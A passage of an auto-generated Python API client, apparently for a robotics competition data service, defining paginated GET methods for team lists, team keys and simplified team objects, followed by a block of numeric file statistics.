**kwargs) # noqa: E501 return data def get_teams_with_http_info(self, page_num, **kwargs): # noqa: E501 """get_teams # noqa: E501 Gets a list of `Team` objects, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_with_http_info(page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ all_params = ['page_num', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_teams" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'page_num' is set if ('page_num' not in params or params['page_num'] is None): raise ValueError("Missing the required parameter `page_num` when calling `get_teams`") # noqa: E501 collection_formats = {} path_params = {} if 'page_num' in params: path_params['page_num'] = params['page_num'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/teams/{page_num}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Team]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_by_year(self, year, page_num, **kwargs): # noqa: E501 """get_teams_by_year # noqa: E501 Gets a list of `Team` objects that competed in the given year, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_by_year(year, page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int year: Competition Year (or Season). Must be 4 digits. (required) :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_teams_by_year_with_http_info(year, page_num, **kwargs) # noqa: E501 else: (data) = self.get_teams_by_year_with_http_info(year, page_num, **kwargs) # noqa: E501 return data def get_teams_by_year_with_http_info(self, year, page_num, **kwargs): # noqa: E501 """get_teams_by_year # noqa: E501 Gets a list of `Team` objects that competed in the given year, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_by_year_with_http_info(year, page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int year: Competition Year (or Season). Must be 4 digits. (required) :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Team] If the method is called asynchronously, returns the request thread. """ all_params = ['year', 'page_num', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_by_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_teams_by_year`") # noqa: E501 # verify the required parameter 'page_num' is set if ('page_num' not in params or params['page_num'] is None): raise ValueError("Missing the required parameter `page_num` when calling `get_teams_by_year`") # noqa: E501 collection_formats = {} path_params = {} if 'year' in params: path_params['year'] = params['year'] # noqa: E501 if 'page_num' in params: path_params['page_num'] = params['page_num'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/teams/{year}/{page_num}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Team]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_by_year_keys(self, year, page_num, **kwargs): # noqa: E501 """get_teams_by_year_keys # noqa: E501 Gets a list Team Keys that competed in the given year, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_by_year_keys(year, page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int year: Competition Year (or Season). Must be 4 digits. (required) :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_teams_by_year_keys_with_http_info(year, page_num, **kwargs) # noqa: E501 else: (data) = self.get_teams_by_year_keys_with_http_info(year, page_num, **kwargs) # noqa: E501 return data def get_teams_by_year_keys_with_http_info(self, year, page_num, **kwargs): # noqa: E501 """get_teams_by_year_keys # noqa: E501 Gets a list Team Keys that competed in the given year, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_by_year_keys_with_http_info(year, page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int year: Competition Year (or Season). Must be 4 digits. (required) :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['year', 'page_num', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_by_year_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_teams_by_year_keys`") # noqa: E501 # verify the required parameter 'page_num' is set if ('page_num' not in params or params['page_num'] is None): raise ValueError("Missing the required parameter `page_num` when calling `get_teams_by_year_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'year' in params: path_params['year'] = params['year'] # noqa: E501 if 'page_num' in params: path_params['page_num'] = params['page_num'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/teams/{year}/{page_num}/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_by_year_simple(self, year, page_num, **kwargs): # noqa: E501 """get_teams_by_year_simple # noqa: E501 Gets a list of short form `Team_Simple` objects that competed in the given year, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_by_year_simple(year, page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int year: Competition Year (or Season). Must be 4 digits. (required) :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_teams_by_year_simple_with_http_info(year, page_num, **kwargs) # noqa: E501 else: (data) = self.get_teams_by_year_simple_with_http_info(year, page_num, **kwargs) # noqa: E501 return data def get_teams_by_year_simple_with_http_info(self, year, page_num, **kwargs): # noqa: E501 """get_teams_by_year_simple # noqa: E501 Gets a list of short form `Team_Simple` objects that competed in the given year, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_by_year_simple_with_http_info(year, page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int year: Competition Year (or Season). Must be 4 digits. (required) :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['year', 'page_num', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_by_year_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_teams_by_year_simple`") # noqa: E501 # verify the required parameter 'page_num' is set if ('page_num' not in params or params['page_num'] is None): raise ValueError("Missing the required parameter `page_num` when calling `get_teams_by_year_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'year' in params: path_params['year'] = params['year'] # noqa: E501 if 'page_num' in params: path_params['page_num'] = params['page_num'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/teams/{year}/{page_num}/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_keys(self, page_num, **kwargs): # noqa: E501 """get_teams_keys # noqa: E501 Gets a list of Team keys, paginated in groups of 500. (Note, each page will not have 500 teams, but will include the teams within that range of 500.) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_keys(page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_teams_keys_with_http_info(page_num, **kwargs) # noqa: E501 else: (data) = self.get_teams_keys_with_http_info(page_num, **kwargs) # noqa: E501 return data def get_teams_keys_with_http_info(self, page_num, **kwargs): # noqa: E501 """get_teams_keys # noqa: E501 Gets a list of Team keys, paginated in groups of 500. (Note, each page will not have 500 teams, but will include the teams within that range of 500.) # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_keys_with_http_info(page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['page_num', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'page_num' is set if ('page_num' not in params or params['page_num'] is None): raise ValueError("Missing the required parameter `page_num` when calling `get_teams_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'page_num' in params: path_params['page_num'] = params['page_num'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/teams/{page_num}/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_teams_simple(self, page_num, **kwargs): # noqa: E501 """get_teams_simple # noqa: E501 Gets a list of short form `Team_Simple` objects, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_simple(page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_teams_simple_with_http_info(page_num, **kwargs) # noqa: E501 else: (data) = self.get_teams_simple_with_http_info(page_num, **kwargs) # noqa: E501 return data def get_teams_simple_with_http_info(self, page_num, **kwargs): # noqa: E501 """get_teams_simple # noqa: E501 Gets a list of short form `Team_Simple` objects, paginated in groups of 500. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_teams_simple_with_http_info(page_num, async_req=True) >>> result = thread.get() :param async_req bool :param int page_num: Page number of results to return, zero-indexed (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[TeamSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['page_num', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_teams_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'page_num' is set if ('page_num' not in params or params['page_num'] is None): raise ValueError("Missing the required parameter `page_num` when calling `get_teams_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'page_num' in params: path_params['page_num'] = params['page_num'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/teams/{page_num}/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[TeamSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)
43.877738
381
0.621923
22,803
182,312
4.707626
0.011446
0.04777
0.033536
0.026829
0.991719
0.990834
0.98993
0.988439
0.988141
0.987098
0
0.017514
0.288747
182,312
4,154
382
43.8883
0.810342
0.365906
0
0.841781
0
0
0.214353
0.054352
0
0
0
0
0
1
0.035699
false
0
0.001763
0
0.090789
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7